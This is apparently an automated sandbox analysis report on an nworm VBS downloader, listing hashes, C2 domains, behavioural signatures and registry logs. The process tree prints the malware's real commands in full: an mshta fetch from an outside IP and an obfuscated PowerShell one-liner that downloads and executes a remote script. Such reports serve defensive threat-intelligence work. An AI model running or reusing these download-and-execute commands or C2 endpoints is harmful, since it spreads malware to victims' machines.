nworm | 7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2

General

Target

7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2.vbs
Size

6KB
MD5

74f58ac31a1f70bb4c704f31074882c0
SHA1

247ab701feff34cef747bf8e388b3639b8af9084
SHA256

7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2
SHA512

14e0e9a5f63e6b3807378a297146ba08ebdfbc73ff3ed27741761b22d53d3be59bcaa5ff2e06caa6d8d6f2e9d0f6fef9c530260d80fb61d50ea8ad904d990169

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

msHta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2132 2100 msHta.exe
Blocklisted process makes network request 3 IoCs

Processes:

msHta.exepowershell.exe

flow pid process

39 2132 msHta.exe
42 1624 powershell.exe
50 1624 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

msHta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation msHta.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1624 set thread context of 3868 1624 powershell.exe csc.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2132	2100	msHta.exe

flow	pid	process
39	2132	msHta.exe
42	1624	powershell.exe
50	1624	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	msHta.exe

description	pid	process	target process
PID 1624 set thread context of 3868	1624	powershell.exe	csc.exe

Drops file in Windows directory 3 IoCs

Processes:

svchost.exeTiWorker.exe

description	ioc	process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MusNotifyIcon.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe

Modifies data under HKEY_USERS 50 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4096"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.000000"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132895513680400727"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "1.278420"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.641027"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4196"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4180"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1624 powershell.exe
1624 powershell.exe

pid	process
1624	powershell.exe
1624	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeTiWorker.exe

description	pid	process
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe
Token: SeBackupPrivilege	3052	TiWorker.exe
Token: SeRestorePrivilege	3052	TiWorker.exe
Token: SeSecurityPrivilege	3052	TiWorker.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

msHta.exepowershell.exe

description	pid	process	target process
PID 2132 wrote to memory of 1624	2132	msHta.exe	powershell.exe
PID 2132 wrote to memory of 1624	2132	msHta.exe	powershell.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe
PID 1624 wrote to memory of 3868	1624	powershell.exe	csc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2.vbs"
1⤵
PID:1640

C:\Windows\system32\msHta.exe
msHta.exe HttP://3.22.248.2/qw/EncGQE.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HQPIRTNLNVVNENVTOSFOQPX = '[\6$@5=3#6_&86}<!6#+@86y\6$@5=3#6_&86}<!6#+@86t^($+0)+*\]^26/7=-57)$8[#9@-!=-\{&9]2/5!995](.IO.\6$@5=3#6_&86}<!6#+@86t\)6)6%-\+27-+}/$$$+)=)^($+0)+*\]^26/7=-57)$8=4_14%)*6(=8+{&_%7{17$[#9@-!=-\{&9]2/5!995](\)6)6%-\+27-+}/$$$+)=)^($+0)+*\]^26/7=-57)$8=4_14%)*6(=8+{&_%7{17$d^($+0)+*\]^26/7=-57)$8\)6)6%-\+27-+}/$$$+)=)]'.Replace('\6$@5=3#6_&86}<!6#+@86','S').Replace('^($+0)+*\]^26/7=-57)$8','E').Replace('\)6)6%-\+27-+}/$$$+)=)','R').Replace('=4_14%)*6(=8+{&_%7{17$','A').Replace('[#9@-!=-\{&9]2/5!995](','M');$HRTEUQOOTFTZLQAZFWAURIJ = ($HQPIRTNLNVVNENVTOSFOQPX -Join '')|&('I'+'EX');$HZSOPPIHHQLRYYEQVBEDSUX = '[1$56\-<^}+$099--+0}#_/y1$56\-<^}+$099--+0}#_/}({+@((<0%\3==8$3+)0<#=#\%+0[^=2*8#}8($/-$/}m.N=#\%+0[^=2*8#}8($/-$/}}({+@((<0%\3==8$3+)0<#.W=#\%+0[^=2*8#}8($/-$/}bR=#\%+0[^=2*8#}8($/-$/}qu=#\%+0[^=2*8#}8($/-$/}1$56\-<^}+$099--+0}#_/}({+@((<0%\3==8$3+)0<#]'.Replace('1$56\-<^}+$099--+0}#_/','S').Replace('=#\%+0[^=2*8#}8($/-$/}','E').Replace('}({+@((<0%\3==8$3+)0<#','T');$HOHVKHWHGAYHFLLBDNQFERO = ($HZSOPPIHHQLRYYEQVBEDSUX -Join '')|&('I'+'EX');$HUXHSFRXTJGUNPZKBAKQKDB = '7-0=!*[88^$]!&^-<0=!40r+6^1809#8_[3#9!*7&%/(}a8&_{*!#&(*%\348!!*/}8{+6^1809#8_[3#9!*7&%/(}'.Replace('7-0=!*[88^$]!&^-<0=!40','C').Replace('+6^1809#8_[3#9!*7&%/(}','E').Replace('8&_{*!#&(*%\348!!*/}8{','T');$HDGSFNUEFWTDNIWVCKPZGAN = '1847$$37[6=[//!%=/1+29)^67!]6\<-*%^$_!]<%#=9tR)^67!]6\<-*%^$_!]<%#=97759<]}1}&=-))27371/7/pon7759<]}1}&=-))27371/7/)^67!]6\<-*%^$_!]<%#=9'.Replace('1847$$37[6=[//!%=/1+29','G').Replace(')^67!]6\<-*%^$_!]<%#=9','E').Replace('7759<]}1}&=-))27371/7/','S');$HPLQTYQUTWSSOTBNQTGWCJW = 'G=-{19_]8@-38\_}33$<}92t60!3610=]928-+4{4@5<9{=-{19_]8@-38\_}33$<}920^%\{#218_*!9/22]03/\2pon0^%\{#218_*!9/22]03/\2=-{19_]8@-38\_}33$<}920^%\{#218_*!9/22]03/\2t60!3610=]928-+4{4@5<9{=-{19_]8@-38\_}33$<}92am'.Replace('0^%\{#218_*!9/22]03/\2','S').Replace('=-{19_]8@-38\_}33$<}92','E').Replace('60!3610=]928-+4{4@5<9{','R');$HIPJLQVQFSETDTUGXWWOVEN = '821#8{8)<4-+*%_7^[/_]}6_\4<00(_0{#202{{&^89/a^34)4\]92(]$[!%5}\0#$%To6_\4<00(_0{#202{{&^89/n^34)4\]92(]$[!%5}\0#$%'.Replace('821#8{8)<4-+*%_7^[/_]}','R').Replace('6_\4<00(_0{#202{{&^89/','E').Replace('^34)4\]92(]$[!%5}\0#$%','D');&('I'+'EX')($HRTEUQOOTFTZLQAZFWAURIJ::new($HOHVKHWHGAYHFLLBDNQFERO::$HUXHSFRXTJGUNPZKBAKQKDB('HttP://3.22.248.2/qw/Ps1HJ.txt').$HDGSFNUEFWTDNIWVCKPZGAN().$HPLQTYQUTWSSOTBNQTGWCJW()).$HIPJLQVQFSETDTUGXWWOVEN())
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
3⤵
PID:3868

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:3700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3156

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3052

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1624-131-0x0000016C79933000-0x0000016C79935000-memory.dmp

Filesize
8KB

Download
memory/1624-136-0x0000016C7AA90000-0x0000016C7AAB2000-memory.dmp

Filesize
136KB

Download
memory/1624-140-0x0000016C7AA53000-0x0000016C7AA55000-memory.dmp

Filesize
8KB

Download
memory/1624-139-0x0000016C7AA50000-0x0000016C7AA52000-memory.dmp

Filesize
8KB

Download
memory/1624-141-0x0000016C7AA56000-0x0000016C7AA58000-memory.dmp

Filesize
8KB

Download
memory/1624-142-0x0000016C7ADE0000-0x0000016C7ADFA000-memory.dmp

Filesize
104KB

Download
memory/3868-143-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/3868-147-0x0000000074B4E000-0x0000000074B4F000-memory.dmp

Filesize
4KB

Download
memory/3868-149-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads